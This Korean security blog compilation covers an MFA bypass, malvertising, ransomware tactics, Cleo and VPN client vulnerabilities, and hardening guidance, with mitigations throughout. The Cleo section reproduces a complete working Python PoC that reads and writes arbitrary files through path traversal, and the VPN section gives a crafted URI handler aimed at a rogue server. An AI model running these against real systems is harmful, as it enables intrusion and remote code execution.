1. 개요

- MS 다중인증 환경에서 인증앱을 활용한 다중인증의 경우, 인증 우회 취약점 발견 [1]
Outlook, OneDrive, Teams, Azure Cloud 등 각종 MS 계정에 무단 접근이 가능
- MS에 가입된 유로 계정은 약 4억 개로 공격 성공 시 매우 큰 파장을 일으킬 수 있음

2. 주요내용

- 사용자가 MS 포털에 접속 시 계정과 6자리 코드를 사용해 로그인 시도
> 사용자가 로그인 페이지에 처음 접속하면 세션 식별자 할당
> 계정 정보 입력 후 추가 인증을 요구하며, 6자리 코드를 제공해 인증 과정 마무리

 

- 한 세션에서 10번 연속 입력을 실패할 경우 계정 잠금
> 연구진은 새 세션을 빠르게 생성한 후 6자리 코드를 대입하는 실험을 진행
실험 결과 여러 시도를 어떠한 경고(≒알림) 없이 동시에 실행할 수 있음을 발견

 

- 인증 앱을 사용한 인증 방법에는 시간 제한이 존재
> 30초 간격으로 새로운 코드가 생성 되도록 하는 것이 일반적
> 그러나, MS 로그인을 테스트한 결과 코드가 약 3분동안 유효한 것으로 확인
> 이는 공격에 성공할 확률이 3% 증가하는 수치*

* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것
* 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감

[사진 1] 70분 후 공격 성공확률 50% 이상

[영상 1] 공격 시연 영상 [2]

- 연구원들은 결과를 MS에 제보
> MS는 취약점을 수정한 버전 배포

권고 사항 구분 설명
다중인증 활성화 - 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법
-  다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
크리덴셜 유출 모니터링 비밀번호나 인증 코드 유출 여부를 꾸준히 모니터링
다중인증 실패에 대한 경고 발생 로그인에 실패했을 때 사용자에게 알림이 가도록 설정

3. 참고

[1] https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass
[2] https://www.youtube.com/watch?v=E0Kt6LUZc0w
[3] https://www.boannews.com/media/view.asp?idx=135110

1. Malvertising(멀버타이징)

- Malware(악성코드)Advertising(광고)합성어악성 광고를 의미

- 사용자를 속이기 위해 가짜 사이트로 리다이렉션하는 등 광고를 악용한 해킹 기법

- 상대적으로 보안이 취약한 광고 서버를 해킹하거나 악성 광고를 게시하여 공격에 활용

2. 상세내용 [1]

- 연구원들이 Googleslack 검색한 결과 광고가 가장 먼저 표시되었음

> 해당 광고가 누구에 의해 게시되었으며, 이전에 게시한 광고 내역을 확인할 수 있음

> 연구원들이 이를 확인한 결과 홍콩 소재 의심스러운 광고주에 의해 게시됨을 확인

[사진 1] 정상 광고 (위) 및 악성 광고 (아래) 비교

- 확인된 광고를 클릭하면 정상적인 Slack 공식 웹사이트의 가격 페이지로 리디렉션

> 공격자들은 도메인을 구매한 후 악용하기 위해 정상적인 도메인처럼 보이도록 하기위해 과정을 거침

[사진 2] 리다이렉션

- 며칠 후 연구원들이 해당 광고 페이지에 재접속한 결과 서로 다른 두 개의 페이지가 표시

> URL은 slack-windows-download[.]com로 동일하나 표시되는 페이지가 다름을 확인

> 악성 기능이 없는 정상 페이지 또는 다운로드 기능이 포함된 악성 페이지 표시

[사진 3] 정상 페이지 (좌) 및 악성 페이지 (우)

- 해당 페이지에 도달하는 네트워크 트래픽을 캡처

> 여러 사이트로 리다이렉션 시켜 인터넷 환경, 클릭율 등을 확인해 서로 다른 페이지로 접속시키는 것을 확인

① 클릭의 정당성을 판단하는 ClickGuard 링크를 광고로 등록 : 악성 사이트에 대한 탐지를 못하도록(또는 어렵게) 하기위한 목적

② 사용자가 클릭한 페이지 또는 위치 등을 분석하는 ClickTracker 연결 : 악성 사이트에 대한 탐지를 못하도록(또는 어렵게) 하기위한 목적

③ 사용자 클릭 환경 등을 확인해 정상 사이트 또는 악성 사이트로 연결

> 즉, 사용자가 광고를 클릭할 경우 여러 리다이렉션 및 확인을 거쳐 정상 또는 악성 사이트로 리다이렉션

[사진 4] 네트워크 트래픽 캡처
[사진 5] 과정 요약

- 광고 클릭 지양, 다운로드 시 도메인 및 파일 해시 확인, 백신 최신화, 로그인 폼 의심 등 기본 보안 수칙 준수 필요

3. 참고

[1] https://www.malwarebytes.com/blog/news/2024/08/fraudulent-slack-ad-shows-malvertisers-patience-and-skills

요약 - 블랙 바스타 랜섬웨어 그룹, 새로운 공격 기법 도입
- 봇넷 외 이메일 폭탄, QR 코드, 소셜 엔지니어링 활용
내용 - 블랙 바스타 랜섬웨어 그룹, 이메일 폭탄을 공격 수단으로 활용
> 대량의 메일링 리스트에 피해자의 이메일 주소를 등록해 피해자 이메일 함을 혼란스럽게 만드는 방식
> 공격자는 IT 직원이나 기술 지원 요원으로 위장해 접근해 원격 접속 도구 설치 유도

- QR 코드도 공격 수단으로 활용
> 채팅 플랫폼을 통해 피해자에게 QR 코드를 전송
> 신뢰할 수 있는 모바일 기기를 추가하라는 명목으로 자격 증명 탈취 시도
> 초기 접근 이후 커스텀 툴*을 사용해 자격 증명 수집 및 네트워크 탐색
* Zbot/ZLoader : 자격 증명 탈취 악성코드
* DarkGate : 후속 공격을 가능하게 하는 백도어

- 커스텀 악성코드*를 활용해 피해자의 자격 증명을 이용해 VPN 접속 정보 확보, MFA 우회해 내부 침투
* KNOTWRAP : C/C++로 작성된 메모리 기반 드로퍼로 추가 페이로드를 메모리에만 실행
* KNOTROCK : 랜섬웨어 배포에 사용되는 .NET 기반 유틸리티
* DAWNCRY : 하드코딩된 키로 리소스를 복호화해 메모리에서 실행하는 드로퍼
* PORTYARD : 명령제어(C2) 서버와 커스텀 프로토콜을 통해 연결하는 터널링 도구
* COGSCAN : 네트워크 내 호스트를 탐색하는 정찰 도구

- 외부 봇넷에 의존하지 않고 타깃화된 공격에 집중하고 있음
기타  

 

보안뉴스

 

블랙 바스타 랜섬웨어, 이메일 폭탄과 QR 코드로 진화 - 데일리시큐

블랙 바스타(Black Basta) 랜섬웨어 그룹이 새로운 공격 기법을 도입하며 더욱 정교해지고 있다. 최근 이들은 기존의 봇넷 의존 방식을 넘어 이메일 폭탄, QR 코드, 그리고 소셜 엔지니어링을 결합한

www.dailysecu.com

1. Cleo

- 데이터 통합 및 관리형 파일 전송 솔루션(MFT)을 제공하는 글로벌 소프트웨어 기업 [1]

2. 취약점

2.1 CVE-2024-50623

[사진 1] CVE-2024-50623 [2]

- Cleo MFT SW에서 발생하는 파일 읽기/쓰기 취약점

> 24.10 적용된 패치에 대한 우회를 허용하는 Zero-Day 취약점으로 공격에 악용되는 중

영향받는 버전
- Cleo Harmony < 5.8.0.21
- Cleo VLTrader < 5.8.0.21
- Cleo LexiCom < 5.8.0.21

 

2.2 상세내용

- 취약점은 /Synchronization 엔드포인트에서 발생

> 클러스터 노드 간 파일 동기화를 처리하는 엔드포인트

 

- syncIn 메소드는 /Synchronization으로 들어온 HTTP 요청을 핸들링

> 다음 형식을 갖는 "SYNC_HEADER(”VLSync”)" 헤더를 찾을 경우 이를 파싱해  Retrieve, l, v, n 등의 파라미터를 가져옴

> 각각의 매개변수는 명령(Retrieve), l(라이선스 시리얼번호), v(버전), n(소프트웨어 이름)

 public int syncIn(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        int statusCode = 500;
        InputStream in = null;
        int len = 0;

        try {
            in = httpRequest.getInputStream();
            len = httpRequest.getContentLength();
            boolean found = false;
            Enumeration headers = httpRequest.getHeaderNames();

            while(headers.hasMoreElements()) {
                String header = (String)headers.nextElement();
                if (header.equalsIgnoreCase(SYNC_HEADER)) {
                    found = true;
                    String value = httpRequest.getHeader(header);
                    String serialNumber = getDecodedParameterValue(value, "l", true);
                    if (hasToken(value, START)) {
                        // ... omitted ...
                        break;
                    }

                    if (!hasToken(value, ADD) && !hasToken(value, UPDATE) && !hasToken(value, REMOVE)) {
VLSync: Retrieve;l=Ab1234-RQ0258;n=VLTrader;v=5.7.0.0

 

- 매개변수 중 l은 islValid 메소드를 통해 유효성 검증

> 유효성 검증은 6번째 문자가 '-'인 13자리인지 확인한 후 문자열을 비교하는 단순한 형태로 이루어짐

> License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))를 만족하는 형태의 시리얼 넘버를 직접 생성해 사용할 수 있음

protected static boolean islValid(String serialNumber) {
     if (serialNumber == null) {
         return false;
      } else if (serialNumber.length() == 13 && serialNumber.charAt(6) == '-') {
          if (!License.scramble(serialNumber.substring(0, 6)).equals(serialNumber.substring(7))) {
              return false;
          }
      }
      // ... further code omitted ..
    }
    
public static String scramble(String serial) {
        int shift = 0;

        for(int i = 0; i < serial.length(); ++i) {
            shift ^= serial.charAt(i);
        }

        StringBuffer sb = new StringBuffer(serial);
        sb.setCharAt(0, shiftLetter(Character.toUpperCase(sb.charAt(0)), shift + 4));
        sb.setCharAt(1, shiftLetter(Character.toUpperCase(sb.charAt(1)), shift + 2));
        sb.setCharAt(2, shiftNumber(sb.charAt(2), shift));
        sb.setCharAt(3, shiftNumber(sb.charAt(3), shift + 1));
        sb.setCharAt(4, shiftNumber(sb.charAt(4), shift + 3));
        sb.setCharAt(5, shiftNumber(sb.charAt(5), shift + 5));
        return sb.toString();
    }

 

2.3 파일 읽기

- 명령이 Retrieve인 경우 retrieve 메소드에서 해당 명령을 처리

> VLSync 헤더에서 path 파라미터를 가져와 fetchLocalFile에 path가 지정한 경로에 있는 파일을 읽어 응답으로 반환

> 이때, path 값에 대한 검증을 수행하지 않아 "../" 등의 디렉터리 이동 문자열을 이용할 수 있음

  private int retrieve(String header, HttpServletResponse httpResponse) {
        String serialNumber = getDecodedParameterValue(header, VLAdminCLI.LIST_FLAG, true);
        // ... omitted ...
        String path = fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (statusCode == 200) {
            try {
                byte[] bytes = fetchLocalFile(path, LexBean.decrypt(tempPassphrase));
                fireRetrieveEvent(path);
                statusCode = 200;
                httpResponse.setStatus(200);
                httpResponse.setContentLength(bytes.length);
                httpResponse.setHeader("Connection", "close");
                ServletOutputStream outputStream = httpResponse.getOutputStream();
                outputStream.write(bytes);
                outputStream.close();
            } catch (FileNotFoundException e) {
                statusCode = 404;
            } catch (Exception ex) {
                // ... omitted ...
            }
        }
        return statusCode;
    }

 

[사진 2] 공격 예시

2.4 파일 쓰기

- ADD 명령을 사용해 임의의 파일을 쓸 수 있음

> fileIn 메소드에서 ADD 명령을 처리

> path 파라미터를 파싱하며, 이는 쓸 파일의 경로를 지정하며, 이후 파일의 존재 여부와 쓰기가 가능한지 확인

private int fileIn(String header, InputStream in, int length) throws Exception {
        int statusCode = 200;
        String serialNumber = getDecodedParameterValue(header, "l", true);
        // ... omitted ...
        String path = this.fixPath(getParameterValue(header, "path", false));
        // ... omitted ...
        if (file.exists() && !file.canWrite()) {
            statusCode = 403;
        } else {

 

- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

요약 - 국내 IP 카메라 중 80%가 중국산으로 관련 해킹사고 급증
- 철저한 대응체계를 갖춰 개인 피해 줄일 필요
내용 - 최근 국내 중국산 IP 카메라 보안 문제가 사회적 이슈화
> 국내 IP 카메라 중 80%가 중국산
> 가정, 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기, IP캠, IT 기기를 노리는 해킹 증가

- 네트워크를 사용하는 대부분의 중국산 제품에서 백도어가 발견
> 정부 제재가 없어 언제든 쉽게 해킹될 수 있는 위험에 무방비로 노출

- 중국산 IT 기기 해킹사고 대응 방안
① 개인과 소규모 사용자
> 제품 선택 단계에서부터 신뢰할 수 있는 브랜드를 우선 고려
> 값싼 제품보다는 국제 보안 인증기기 선택
> 펌웨어, 소프트웨어 항상 최신 상태로 유지
> 초기 비밀번호 반드시 변경하고, 강력한 비밀번호를 사용
> 기본적인 보안 설정도 철저히 준수
> 기기 사용 시 개인 정보 입력을 최소화
> 음성 녹음이나 위치 추적 등 불필요한 기능은 비활성화

② 기업 및 조직
> 인증받은 IT기기만을 사용하고, 공급망을 철저히 검토
> 민감한 데이터를 다루는 시스템의 경우 인터넷과 물리적으로 분리된 네트워크를 사용
> 정기적인 보안 점검을 통해 기기의 백도어 여부를 확인
> 해킹 시뮬레이션 테스트로 잠재적인 취약점을 미리 탐지
> 네트워크 접근 통제를 강화하고, 불필요한 기능은 비활성
> 네트워크 보안 솔루션을 도입해 외부 공격에 대비

③ 정부와 공공기관
> 수입 규제와 인증 시스템을 강화해, 보안 검증을 통과하지 못한 제품의 수입 및 사용을 제한
> 공공기관과 국가중요기반시설에는 검증된 장비만 사용하도록 법적 규제를 마련
> 국산 보안 기술과 IT 제품 개발을 적극 지원
> 국가 수준의 보안 인증 체계를 마련해 모든 네트워크 연결 기기에 대해 보안성을 확보
> 국민이 IT기기의 보안을 스스로 관리할 수 있도록 교육 및 캠페인을 통해 경각심을 높이기
> 국제 협력을 통해 백도어 문제를 해결하고, 공통 표준을 수립해 신뢰성을 확보

④ 기술적 대책 마련
> 'AI 또는 고급분석 기법 기반의 NDR' 기술을 도입해, 비정상적인 네트워크 트래픽을 실시간 탐지 및 대응 시스템을 구축
> 국가중요기반시설에는 독립적이고 폐쇄된 네트워크를 운영해 외부 해킹 가능성을 차단하고, 백도어를 탐지할 수 있는 전문 솔루션을 적용
기타 -

 

보안뉴스

 

중국산 IT기기 해킹사고에 따른 4가지 대응방안 - 데일리시큐

최근 국내 IP카메라의 80%를 차지하는 중국산 IP카메라 보안 문제가 사회 이슈화된 가운데, 일반 가정 뿐 아니라 기업, 정부기관에서 사용중인 중국산 Wi-Fi 공유기·IP캠·IT기기를 노리는 해킹이 늘

www.dailysecu.com

1. 개요

- 미국(CISA, NSA, FBI), 호주(ACSC), 캐나다(CCCS), 뉴질랜드(NCSC-NZ)가 협동해 통신 인프라 관련 보안 가이드라인 발표 [1]
- 사이버 위협 행위자, 특히 중국과 관련된 위협에 대응하기 위한 권고사항

2. 주요내용

구분 설명
모니터링 - 지속적인 스위치, 라우터, 방화벽 등 네트워크 장치의 구성 변경 모니터링 및 비정상적 변경에 대해 경고하는 메커니즘 구축
- 네트워크 흐름 모니터링 솔루션 구현 및 가시성 확보
- 관리 트래픽 노출 최소화 및 전용 관리 워크스테이션에서만 접근 허용
- 사용자 및 서비스 계정 로그인을 모니터링하여 비정상적인 로그인 시도 탐지 및 비활성화
- 중앙 집중화된 로그 관리 및 분석으로 신속한 의심스러운 활동 식별 등
강화 시스템 및 장치 - 프로토콜 및 관리 프로세스 개선
> 대역 외 관리 네트워크 사용
> 기본 거부 ACL 정책 구현
> 강력한 네트워크 세분화
> VPN 게이트웨이에 강력한 암호화 프로토콜 적용
> AAA(Authentication_인증, Authorization_권한부여, Accounting_계정관리) 로깅이 CIA 기능을 갖춘 중앙 로깅 서버로 전송되도록 보장
> 불필요한 프로토콜 비활성화
> 기본 비밀번호 사용 지양
> 신뢰할 수 있는 무결성 검증 도구 활용 등
Cisco 특정 지침 - 사이버 위협 행위자들은 Cisco 장비의 특정 기능을 표적으로 공격하므로 조치 필요
> Cisco Smart Install 서비스 비활성화
> Guestshell 액세스 비활성화
> 암호화되지 않은 웹 관리 기능 비활성화
> Telnet을 비활성화
> 비밀번호 관리 강화
사고 보고 - 피해 발생 시 당국의 관련 기관에 즉시 신고
설계에 의한 보안 - 설계 단계에서부터 보안 고려하여 개발
- 소비자는 보안성을 만족하는 제품을 구매

3. 참고

[1] https://www.cisa.gov/resources-tools/resources/enhanced-visibility-and-hardening-guidance-communications-infrastructure

1. 개요

- PaloAlto GlobalProtect, SonicWall NetExtender SSL-VPN 클라이언트 등에 심각한 취약점 "NachoVPN" 발견 [1][2][3]
- 공격자가 악성 VPN 서버를 통해 피해자 기기에 악성 업데이트 설치 또는 민감한 정보를 탈취할 수 있음
- 소셜 엔지니어링 기법을 활용해 사용자를 악성 VPN 서버로 유도해 익스플로잇

2. 주요내용

2.1 CVE-2024-29014

[사진 1] CVE-2024-29014 [4]

- SonicWall의 NetExtender Windows(32 및 64비트) 클라이언트에서 발생하는 임의 코드 실행 취약점
소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 EPC 클라이언트 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전

 

- NetExtender 클라이언트는 SSL-VPN 서버에 연결하는 동안 서버에 EPC 클라이언트 업데이트가 있는지 확인하기 위한 요청 전송
> GET /cgi-bin/sslvpnclient?epcversionquery=nxw
> 서버는 버전 번호로 판단되는 값으로 응답
> 응답이 0xFF인 경우 클라이언트는 /NACAgent.exe에 대한 GET 요청을 전송

 

- NECore.dll의 ValidateSignature()에서 해당 파일이 다운로드되고 유효성을 검증

> 해당 함수는 WINTRUST_ACTION_GENERIC_VERIFY_V2 작업을 사용해 WinVerifyTrust 호출 (실행 파일에 포함된 Authenticode 서명 검증 과정)
> 그러나 실행 파일의 서명이 신뢰할 수 있는 CA와 연결되는지만 확인하며, 특정 게시자(Microsoft, Adobe, Oracle 등)에 의해 서명되었는지 확인하지 않음

> 따라서 시스템에서 신뢰하는 코드 서명 인증서로 실행 파일을 서명만 하게되면 서명 검사를 통과할 수 있음

※ 다운로드한 NACAgent.exe는 SYSTEM으로 실행되는 NEService.exe의 자식 프로세스로 실행

 

[사진 2] ValidateSignature()

- sonicwallconnectagent 사용자 정의 URI 핸들러는 SMA Connect 에이전트에 의해 Windows 레지스트리에 등록

> 핸들러는 클라이언트가 연결해야하는 서버를 지정하는 Base64로 인코딩된 JSON 개체가 포함
따라서 공격자는 host 값을 악의적인 SSL-VPN 서버의 IP를 가리키도록 sonicwallconnectagent:// URL을 제작하면 취약점 악용 가능

 

[사진 3] 레지스트리

[사용자 정의 URI 핸들러 예시]
sonicwallconnectagent://eyJhY3Rpb24iOjEwLCJoZWxwZXJ2ZXJzaW9uIjoiMS4xLjQyIiwiaG9zdCI6IjE3Mi4xNy4xMjguMSIsInBvcnQiOiI0NDMiLCJ1c2VybmFtZSI6InVzZXIiLCJleHRlbmRpZCI6IkV0UUJ2MFp3elY0OGsxRVpaQ3JMU3ZwOGJLcFh4NFRCcGVISmlmOVUxczQ9In0

[디코딩]
{ action: 10, helperversion: "1.1.42", host: "172.17.128.1", port: "443", username: "user", extendid: "EtQBv0ZwzV48k1EZZCrLSvp8bKpXx4TBpeHJif9U1s4=" }

 

- 사용자가 조작된 페이지를 방문하면 악성 SSL-VPN 서버에 연결 및 서명된 악성 NACAgent.exe 실행
> NetExtender 클라이언트에 EPC 에이전트 업데이트 필요 메시지가 표시되며, 무시 또는 확인을 누를 경우 악성 NACAgent.exe 파일이 시스템 권한으로 실행됨

 

[사진 4] 악성 SSL-VPN 접속

[영상 1] 공격 시연 [5]

2.2 CVE-2024-5921

[사진 5] CVE-2024-5921 [6]

- PaloAlto Networks GlobalProtect 앱의 불충분한 인증 유효성 검사로 임의의 서버에 연결할 수 있는 취약점
> 소셜 엔지니어링을 통해 악성 VPN 서버로 연결 하도록 유도 및 가짜 업데이트를 전달해 시스템 권한으로 임의 코드를 실행

영향받는 버전
- GlobalProtect 6.2.6 이전 버전

 

- 클라이언트-서버간 인증 과정 중 클라이언트는 POST 메소드로 서버에 자격 증명을 전송
> 서버는 XML 정책 객체로 포맷된 구성 데이터로 응답

 

- GlobalProtect 클라이언트는 기본적으로 응답을 신뢰
> 유일한 검증은 서버가 해당 도메인에 대한 유효한 TLS 인증서를 가지는지 확인하고 제공된 자격증명을 수락하는 것
익스플로잇에서 root-ca, version, uninstall, client-upgrade 요소가 중요

구분 설명
root-ca - 클라이언트에 제공된 인증서를 신뢰할 수 있는 인증서 저장소에 설치하도록 지시
- GlobalProtect 게이트웨이의 IP 주소가 클라이언트가 신뢰하는 TLS 인증서를 사용할 수 있도록 하기위함
- 공격자는 인증서가 주장하는 모든 목적을 위해 컴퓨터가 완전히 신뢰하는 인증서를 설치할 수 있음 (MITM이 발생해 데이터 탈취 또는 악성 SW 서명 및 실행이 가능)
version - 클라이언트에 반환된 version 태그는 업데이트 요청이 트리커되는지 여부를 결정
- 값이 클라이언트에 현재 설치된 버전보다 높은 경우 연결 성공 시 업데이트를 요청
- Portal 인증 응답의 version 태그가 현재 설치된 버전보다 높은 경우
> 클라이언트는 Portal에 업데이트를 요청
> 서버는 클라이언트의 OS와 아키텍처에 맞는 적절한 설치 프로그램으로 302 응답
uninstall - 업그레이드가 관리되는 방식을 설정
> Allow with Prompt (Default) : 새 버전이 확인될 경우 업데이트 메시지 표시
> Allow Transparently : 사용자 상호 작용 없이 자동으로 업데이트 발생
> Internal : 사용자가 내부 네트워크에서 연결되어 있는 경우에만 사용자 상호 작용 없이 업그레이드되며, 내부 GW와 내부 호스트 감지를 구성해야 함 (외부 네트워크에서 연결된 경우 업그레이드 연기)
> Disallow : 업데이트 차단
> Allow Manually : "버전 확인"을 선택해 세 버전이 있는 경우 사용자 판단하 수동 업데이트 적용
client-upgrade - transparent로 설정된 경우 사용자 위치와 동의와 관계없이 자동 업데이트

 

[사진 6] 응답 예시

 

- 공격 성공 조건과 성공 시 가능한 악성 행위는 다음과 같음

구분 설명
공격 성공 조건 - 서버 인증서 : 공인 인증 기관에서 서명한 포털용 인증서
- 사용자 지정 루트 인증 기관(CA) : 로컬에서 생성된 CA PEM 파일이 클라이언트에 제공되어 신뢰할 수 있는 인증서 저장소에 설치
- 코드 서명 인증서 : 사용자 지정 CA가 악성 MSI에 서명하기 위해 서명한 인증서
성공 시 가능한 악성 행위 - 자격 증명 공개 : 사용자가 입력한 인증 세부 정보 수집
- 사기성 루트 인증 기관 설치 : 중간자 공격(MITM)이나 코드 서명과 같은 추가 공격이 가능
- 라우팅 구성 조작 : 네트워크 트래픽을 제어하기 위해 악의적인 라우팅 설정
- 악성 업데이트 요청 : 신뢰할 수 있는 기관에서 서명한 MSI를 가져와서 실행하도록 클라이언트를 트리거

 

[영상 2] Windows 환경 공격 시연 [7]
[영상 3] macOS 환경 공격 시연 [8]

3. 대응방안

- 벤더사 제공 업데이트 적용 [9][10]

취약점 제품명 영향받는 버전 해결 버전
CVE-2024-29014 NetExtender Windows (32 and 64 bit) 10.2.339 및 이전 버전 10.2.341 및 이후 버전
CVE-2024-5921 GlobalProtect 6.2.6 이전 버전 6.2.6
(또는 VPN 클라이언트를 FIPS-CC 모드에서 실행)

 

- NachoVPN 툴 활용 [11]

> 개념 증명용 오픈소스 기반 도구로, 악성 VPN 서버를 시뮬레이션할 수 있음

> Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect, Ivanti Connect Secure 등의 VPN 제품 지원

 

- 권고사항

> SSL-VPN 클라이언트를 최신 버전으로 업데이트

> 호스트 기반 방화벽 규칙을 사용해 VPN 클라이언트가 통신할 수 있는 IP 제한

> WDAC, EDR 등을 사용해 VPN 클라이언트가 승인된 실행 파일과 스크립트만 실행할 수 있도록 설정

> 소셜 엔지니어링 공격 관련 사용자 교육

> 다중 인증 적용 등

4. 참고

[1] https://blog.amberwolf.com/blog/2024/november/introducing-nachovpn---one-vpn-server-to-pwn-them-all/
[2] https://blog.amberwolf.com/blog/2024/november/sonicwall-netextender-for-windows---rce-as-system-via-epc-client-update-cve-2024-29014/
[3] https://blog.amberwolf.com/blog/2024/november/palo-alto-globalprotect---code-execution-and-privilege-escalation-via-malicious-vpn-server-cve-2024-5921/
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-29014
[5] https://vimeo.com/1024774407
[6] https://nvd.nist.gov/vuln/detail/CVE-2024-5921
[7] https://vimeo.com/1024774239
[8] https://vimeo.com/1024773987
[9] https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0011
[10] https://security.paloaltonetworks.com/CVE-2024-5921
[11] https://github.com/AmberWolfCyber/NachoVPN
[12] https://www.dailysecu.com/news/articleView.html?idxno=161574

요약 - 수십만대의 위성 수신기에 DDoS 공격 기능을 탑재해 제조 및 판매한 혐의로 국내 기업 대표와 직원 5명 체포
- 수신기는 구매자 요청에 따라 사전에 DDoS 모듈이 설치되었거나, 펌웨어 업데이트를 통해 추후 추가됨
내용 - 연류된 회사는 2017년부터 영업 시작
> 2018.11 해외 방송사가 한국 제조사에 DDoS 기능을 위성 수신기에 추가해달라 요청
> 해당 기능은 경쟁사의 공격을 방어하기 위해 사용된 것으로 추정

- 2019.01 ~ 2024.09 제조사는 위성 수신기 24만대 유통
> 9만 8천 대는 DDoS 모듈이 사전 설치
> 나머지 수신기는 펌웨어 업데이트를 통해 기능 추가

- DDoS 기능이 수신기에 에떻게 적용되었는지 명확히 밝혀지지 않음

- 체포된 6명은 정통망법 위반 혐의로 기소
> 악성 수신기 판매 수익으로 추정되는 610억원 몰수 및 압류
> 해당 기기를 구매한 외국 기반 방송사 운영진은 체포되지 않았으며, 국제 공조 요청 중
기타 - 소비자 기기에 악성 기능이 포함되지 않도록 공급망 안전성 확보는 필수적
